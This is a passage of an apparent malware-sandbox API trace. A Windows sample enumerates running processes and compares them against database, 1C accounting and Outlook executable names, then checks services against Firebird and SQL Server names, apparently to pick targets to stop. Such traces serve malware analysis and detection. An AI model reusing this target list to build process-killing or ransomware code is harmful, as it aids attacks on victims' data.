lpString2="svchost.exe") returned -1 [0267.088] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.088] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.088] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.088] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.089] lstrlenW (lpString="svchost.exe") returned 11 [0267.089] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.089] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.089] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.089] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.089] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.089] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.089] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.089] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0267.090] lstrlenW (lpString="spoolsv.exe") returned 11 [0267.090] lstrcmpiW (lpString1="1c8.exe", lpString2="spoolsv.exe") returned -1 [0267.090] lstrcmpiW (lpString1="1cv77.exe", lpString2="spoolsv.exe") returned -1 [0267.090] lstrcmpiW (lpString1="outlook.exe", lpString2="spoolsv.exe") returned -1 [0267.090] lstrcmpiW (lpString1="postgres.exe", lpString2="spoolsv.exe") returned -1 [0267.090] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spoolsv.exe") returned -1 [0267.090] lstrcmpiW (lpString1="mysqld.exe", lpString2="spoolsv.exe") returned -1 [0267.090] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spoolsv.exe") returned 1 [0267.090] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.091] lstrlenW (lpString="svchost.exe") returned 11 [0267.091] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.091] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.091] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.091] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.091] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.091] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.091] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.091] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0267.092] lstrlenW (lpString="audiodg.exe") returned 11 [0267.092] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0267.467] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0267.467] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0267.467] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0267.467] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0267.467] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0267.467] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0267.467] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0267.468] lstrlenW (lpString="sihost.exe") returned 10 [0267.468] lstrcmpiW (lpString1="1c8.exe", lpString2="sihost.exe") returned -1 [0267.468] lstrcmpiW (lpString1="1cv77.exe", lpString2="sihost.exe") returned -1 [0267.471] lstrcmpiW (lpString1="outlook.exe", lpString2="sihost.exe") returned -1 [0267.471] lstrcmpiW (lpString1="postgres.exe", lpString2="sihost.exe") returned -1 [0267.471] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="sihost.exe") returned -1 [0267.482] lstrcmpiW (lpString1="mysqld.exe", lpString2="sihost.exe") returned -1 [0267.482] lstrcmpiW (lpString1="sqlservr.exe", lpString2="sihost.exe") returned 1 [0267.482] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.484] lstrlenW (lpString="svchost.exe") returned 11 [0267.484] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.484] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.484] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.484] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.484] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.484] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.484] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.484] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0267.485] lstrlenW (lpString="taskhostw.exe") returned 13 [0267.485] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1 [0267.485] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1 [0267.485] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1 [0267.485] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1 [0267.485] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1 [0267.485] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1 [0267.485] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1 [0267.485] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0267.486] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0267.486] lstrcmpiW (lpString1="1c8.exe", lpString2="OfficeClickToRun.exe") returned -1 [0267.486] lstrcmpiW (lpString1="1cv77.exe", lpString2="OfficeClickToRun.exe") returned -1 [0267.486] lstrcmpiW (lpString1="outlook.exe", lpString2="OfficeClickToRun.exe") returned 1 [0267.486] lstrcmpiW (lpString1="postgres.exe", lpString2="OfficeClickToRun.exe") returned 1 [0267.487] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="OfficeClickToRun.exe") returned -1 [0267.487] lstrcmpiW (lpString1="mysqld.exe", lpString2="OfficeClickToRun.exe") returned -1 [0267.487] lstrcmpiW (lpString1="sqlservr.exe", lpString2="OfficeClickToRun.exe") returned 1 [0267.487] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0267.487] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0267.487] lstrcmpiW (lpString1="1c8.exe", lpString2="SecurityHealthService.exe") returned -1 [0267.487] lstrcmpiW (lpString1="1cv77.exe", lpString2="SecurityHealthService.exe") returned -1 [0267.487] lstrcmpiW (lpString1="outlook.exe", lpString2="SecurityHealthService.exe") returned -1 [0267.487] lstrcmpiW (lpString1="postgres.exe", lpString2="SecurityHealthService.exe") returned -1 [0267.487] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SecurityHealthService.exe") returned -1 [0267.487] lstrcmpiW (lpString1="mysqld.exe", lpString2="SecurityHealthService.exe") returned -1 [0267.488] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SecurityHealthService.exe") returned 1 [0267.488] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0267.488] lstrlenW (lpString="Memory Compression") returned 18 [0267.488] lstrcmpiW (lpString1="1c8.exe", lpString2="Memory Compression") returned -1 [0267.488] lstrcmpiW (lpString1="1cv77.exe", lpString2="Memory Compression") returned -1 [0267.489] lstrcmpiW (lpString1="outlook.exe", lpString2="Memory Compression") returned 1 [0267.489] lstrcmpiW (lpString1="postgres.exe", lpString2="Memory Compression") returned 1 [0267.489] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="Memory Compression") returned 1 [0267.489] lstrcmpiW (lpString1="mysqld.exe", lpString2="Memory Compression") returned 1 [0267.489] lstrcmpiW (lpString1="sqlservr.exe", lpString2="Memory Compression") returned 1 [0267.489] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0267.489] lstrlenW (lpString="explorer.exe") returned 12 [0267.489] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0267.489] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0267.489] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0267.489] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0267.489] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0267.489] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1 [0267.490] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1 [0267.490] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0267.490] lstrlenW (lpString="SearchUI.exe") returned 12 [0267.490] lstrcmpiW (lpString1="1c8.exe", lpString2="SearchUI.exe") returned -1 [0267.490] lstrcmpiW (lpString1="1cv77.exe", lpString2="SearchUI.exe") returned -1 [0267.490] lstrcmpiW (lpString1="outlook.exe", lpString2="SearchUI.exe") returned -1 [0267.490] lstrcmpiW (lpString1="postgres.exe", lpString2="SearchUI.exe") returned -1 [0267.490] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SearchUI.exe") returned -1 [0267.490] lstrcmpiW (lpString1="mysqld.exe", lpString2="SearchUI.exe") returned -1 [0267.490] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SearchUI.exe") returned 1 [0267.491] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0267.491] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0267.491] lstrcmpiW (lpString1="1c8.exe", lpString2="ShellExperienceHost.exe") returned -1 [0267.491] lstrcmpiW (lpString1="1cv77.exe", lpString2="ShellExperienceHost.exe") returned -1 [0267.491] lstrcmpiW (lpString1="outlook.exe", lpString2="ShellExperienceHost.exe") returned -1 [0267.491] lstrcmpiW (lpString1="postgres.exe", lpString2="ShellExperienceHost.exe") returned -1 [0267.491] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="ShellExperienceHost.exe") returned -1 [0267.491] lstrcmpiW (lpString1="mysqld.exe", lpString2="ShellExperienceHost.exe") returned -1 [0267.491] lstrcmpiW (lpString1="sqlservr.exe", lpString2="ShellExperienceHost.exe") returned 1 [0267.491] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0267.492] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0267.492] lstrcmpiW (lpString1="1c8.exe", lpString2="RuntimeBroker.exe") returned -1 [0267.492] lstrcmpiW (lpString1="1cv77.exe", lpString2="RuntimeBroker.exe") returned -1 [0267.492] lstrcmpiW (lpString1="outlook.exe", lpString2="RuntimeBroker.exe") returned -1 [0267.492] lstrcmpiW (lpString1="postgres.exe", lpString2="RuntimeBroker.exe") returned -1 [0267.492] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="RuntimeBroker.exe") returned -1 [0267.492] lstrcmpiW (lpString1="mysqld.exe", lpString2="RuntimeBroker.exe") returned -1 [0267.492] lstrcmpiW (lpString1="sqlservr.exe", lpString2="RuntimeBroker.exe") returned 1 [0267.492] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0267.493] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0267.493] lstrcmpiW (lpString1="1c8.exe", lpString2="WmiPrvSE.exe") returned -1 [0267.493] lstrcmpiW (lpString1="1cv77.exe", lpString2="WmiPrvSE.exe") returned -1 [0267.493] lstrcmpiW (lpString1="outlook.exe", lpString2="WmiPrvSE.exe") returned -1 [0267.493] lstrcmpiW (lpString1="postgres.exe", lpString2="WmiPrvSE.exe") returned -1 [0267.493] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WmiPrvSE.exe") returned -1 [0267.493] lstrcmpiW (lpString1="mysqld.exe", lpString2="WmiPrvSE.exe") returned -1 [0267.493] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WmiPrvSE.exe") returned -1 [0267.493] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0267.493] lstrlenW (lpString="finbbp.exe") returned 10 [0267.493] lstrcmpiW (lpString1="1c8.exe", lpString2="finbbp.exe") returned -1 [0267.493] lstrcmpiW (lpString1="1cv77.exe", lpString2="finbbp.exe") returned -1 [0267.493] lstrcmpiW (lpString1="outlook.exe", lpString2="finbbp.exe") returned 1 [0267.493] lstrcmpiW (lpString1="postgres.exe", lpString2="finbbp.exe") returned 1 [0267.493] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="finbbp.exe") returned 1 [0267.494] lstrcmpiW (lpString1="mysqld.exe", lpString2="finbbp.exe") returned 1 [0267.494] lstrcmpiW (lpString1="sqlservr.exe", lpString2="finbbp.exe") returned 1 [0267.494] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0267.494] lstrlenW (lpString="consent.exe") returned 11 [0267.494] lstrcmpiW (lpString1="1c8.exe", lpString2="consent.exe") returned -1 [0267.494] lstrcmpiW (lpString1="1cv77.exe", lpString2="consent.exe") returned -1 [0267.494] lstrcmpiW (lpString1="outlook.exe", lpString2="consent.exe") returned 1 [0267.494] lstrcmpiW (lpString1="postgres.exe", lpString2="consent.exe") returned 1 [0267.494] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="consent.exe") returned 1 [0267.494] lstrcmpiW (lpString1="mysqld.exe", lpString2="consent.exe") returned 1 [0267.494] lstrcmpiW (lpString1="sqlservr.exe", lpString2="consent.exe") returned 1 [0267.494] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.495] lstrlenW (lpString="svchost.exe") returned 11 [0267.495] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.495] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.495] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.495] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.495] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.495] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.495] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.495] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0267.496] lstrlenW (lpString="dllhost.exe") returned 11 [0267.496] lstrcmpiW (lpString1="1c8.exe", lpString2="dllhost.exe") returned -1 [0267.496] lstrcmpiW (lpString1="1cv77.exe", lpString2="dllhost.exe") returned -1 [0267.496] lstrcmpiW (lpString1="outlook.exe", lpString2="dllhost.exe") returned 1 [0267.496] lstrcmpiW (lpString1="postgres.exe", lpString2="dllhost.exe") returned 1 [0267.496] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dllhost.exe") returned 1 [0267.496] lstrcmpiW (lpString1="mysqld.exe", lpString2="dllhost.exe") returned 1 [0267.496] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dllhost.exe") returned 1 [0267.496] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0267.497] CloseHandle (hObject=0x4e4) returned 1 [0267.497] Sleep (dwMilliseconds=0x1f4) [0268.186] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa6f0 [0268.187] EnumServicesStatusExW (in: hSCManager=0x41aa6f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0268.189] GetLastError () returned 0xea [0268.189] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x42d1fe8 [0268.190] EnumServicesStatusExW (in: hSCManager=0x41aa6f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42d1fe8, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42d1fe8, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0268.280] CloseServiceHandle (hSCObject=0x41aa6f0) returned 1 [0268.281] lstrlenW (lpString="Appinfo") returned 7 [0268.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0268.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0268.281] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0268.281] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0268.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0268.281] lstrlenW (lpString="AppXSvc") returned 7 [0268.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0268.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0268.282] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0268.282] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0268.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0268.282] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0268.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0268.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0268.282] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0268.282] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0268.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0268.283] lstrlenW (lpString="Audiosrv") returned 8 [0268.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0268.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0268.283] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0268.283] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0268.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0268.284] lstrlenW (lpString="BFE") returned 3 [0268.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0268.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0268.285] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0268.285] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0268.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0268.285] lstrlenW (lpString="BITS") returned 4 [0268.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0268.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0268.285] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0268.285] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0268.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0268.285] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0268.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0268.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0268.285] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0268.285] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0268.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0268.285] lstrlenW (lpString="CDPSvc") returned 6 [0268.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0268.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0268.285] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0268.285] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0268.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0268.286] lstrlenW (lpString="ClickToRunSvc") returned 13 [0268.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0268.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0268.286] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0268.286] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0268.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0268.286] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0268.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0268.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0268.286] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0268.286] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0268.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0268.286] lstrlenW (lpString="CryptSvc") returned 8 [0268.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0268.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0268.286] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0268.286] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0268.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0268.286] lstrlenW (lpString="DcomLaunch") returned 10 [0268.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0268.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0268.287] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0268.287] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0268.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0268.287] lstrlenW (lpString="DeviceAssociationService") returned 24 [0268.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0268.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0268.287] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0268.287] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0268.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0268.287] lstrlenW (lpString="Dhcp") returned 4 [0268.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0268.287] lstrcmpiW 